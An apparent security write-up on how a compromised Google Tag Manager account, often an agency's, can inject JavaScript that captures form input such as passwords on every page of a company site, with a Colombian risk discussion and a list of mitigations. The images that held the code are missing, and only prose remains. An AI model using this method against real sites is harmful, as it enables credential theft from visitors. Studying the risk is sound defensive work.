Cybersecurity attacks from GTM Google Tags

Andres Mauricio Pardo Agudelo tinpardo@gmail.com

German Hernandez gjhernandezp@gmail.com

 

 

Introduction.

 

Google Tag Manager GTM is a tool for managing different tags, based on javascript. These tags allow Marketing on advertising platforms such as Facebook Ads, Google Ads, among others.

 

However, it is also possible to create your own tags, which translates into being able to inject java code into the browsers of users who enter a website where GTM is configured and also have access to the GTM account that has been configured. on that website.

 

If the label or the injected javascript code is malicious, an attacker could end up compromising the information and/or computer equipment of users who enter the website, such as: company clients and company employees. The foregoing translates as a possible high-impact cyberattack on a company.

 

Since the attack is not configured from within the company, it does not touch the company's servers or internal infrastructure, therefore it will not leave forensic traces or trigger the cybersecurity controls that have been implemented, therefore it is very difficult to detect it and above all to do a later investigation. This attack can be turned on and off remotely at any time and would allow controlling the equipment of the entire company, third parties, etc.

 

This document aims to show how to carry out a successful attack, the impact analysis and controls that could be applied by companies to minimize the risk of the attack occurring.

 

Risk rating for this attack: Critical

Ease of attack exploitation: Medium

 

Premises

 

For this type of attack to be successful, the following conditions must be met:

 

• The company to attack must have the GTM tag installed on its website.

• An attacker must be able to compromise a user account with permission to publish tags in GTM of the company to attack, as shown in the following image.

 

 

 

Description of the Risk in Colombia.

 

Since most large companies in Colombia rely on external Marketing agencies for their sales process, this attack makes it easier to achieve since in most cases the agency staff does not have a level greater training in Cybersecurity and/or work in insecure environments due to the creative nature of their work, where it is necessary to explore tools, sources of information, etc.

 

The foregoing can be used by an attacker to compromise said accounts of advertising agencies that help companies, since these become the weakest link in the chain in Cybersecurity matters despite the fact that companies may carry out a rigorous process of Cybersecurity.

 

On the other hand, if an attacker manages to compromise the accounts of a marketing agency that supports multiple company portals in Colombia, the attack could have devastating impacts on different areas of Colombia or the country that he decides to attack. Thus, marketing companies can become a new target for cyberattacks.

 

In Colombia, most of the websites of large companies (banks, universities, retail, communications companies, restaurants, media, airlines, etc.) use GTM, this type of cyberattack increases both impact and scope.

 

To understand it better and in a single sentence, this attack shows that the marketing area has the power to compromise an entire company and perhaps they are not aware of this, and in most cases they are even supported by marketing agencies that are not aware of it either. They are aware of the power they have over the cybersecurity of the companies they serve.

 

Example of malicious tags.

 

 

In this basic example we see part of a malicious source code of how an attacker could obtain information every time a user enters information on a field of a form on the website, said field could obtain sensitive information such as username and password, etc.

 

 

 

Next, a trigger is configured so that the malicious source code is used in all the pages of the portal.

 

 

The above example is an example of little use and is only for the purpose of understanding the attack, but it could be done as sophisticated as using ready-made tools like BEEF to have control of the machines. 

 

Graphic description of the attack.

 

 

 

 

 

 

Example of permissions that allow an attacker to succeed.

 

 

 

 

EXAMPLES OF SOURCE CODE INJECTED IN SOME WEB SITES

 

Source code injected: 

 

Website Result 1:

 

 

The result of the injection of the website can be seen in the status bar of the website, which in this case refers to another website that could be owned by an attacker.

 

Website Result 2:

 

 

The result of the injection of the website can be seen in the status bar of the website, which in this case refers to another website that could belong to an attacker.

 

 

 

MITIGATION CONTROLS

 

To avoid this type of attack, the following controls are suggested:

 

• Increase training for personnel in charge of GTM administration.

• Make use of the “need to know” rule of least privilege granted.

• Implement a review and authorization procedure for GTM administration.

• Monitoring of GTM administration actions.

• External monitoring of portal source code changes.

• Activate physical double authentication mechanisms for GTM administrators.

• Secure the computers of GTM administrators.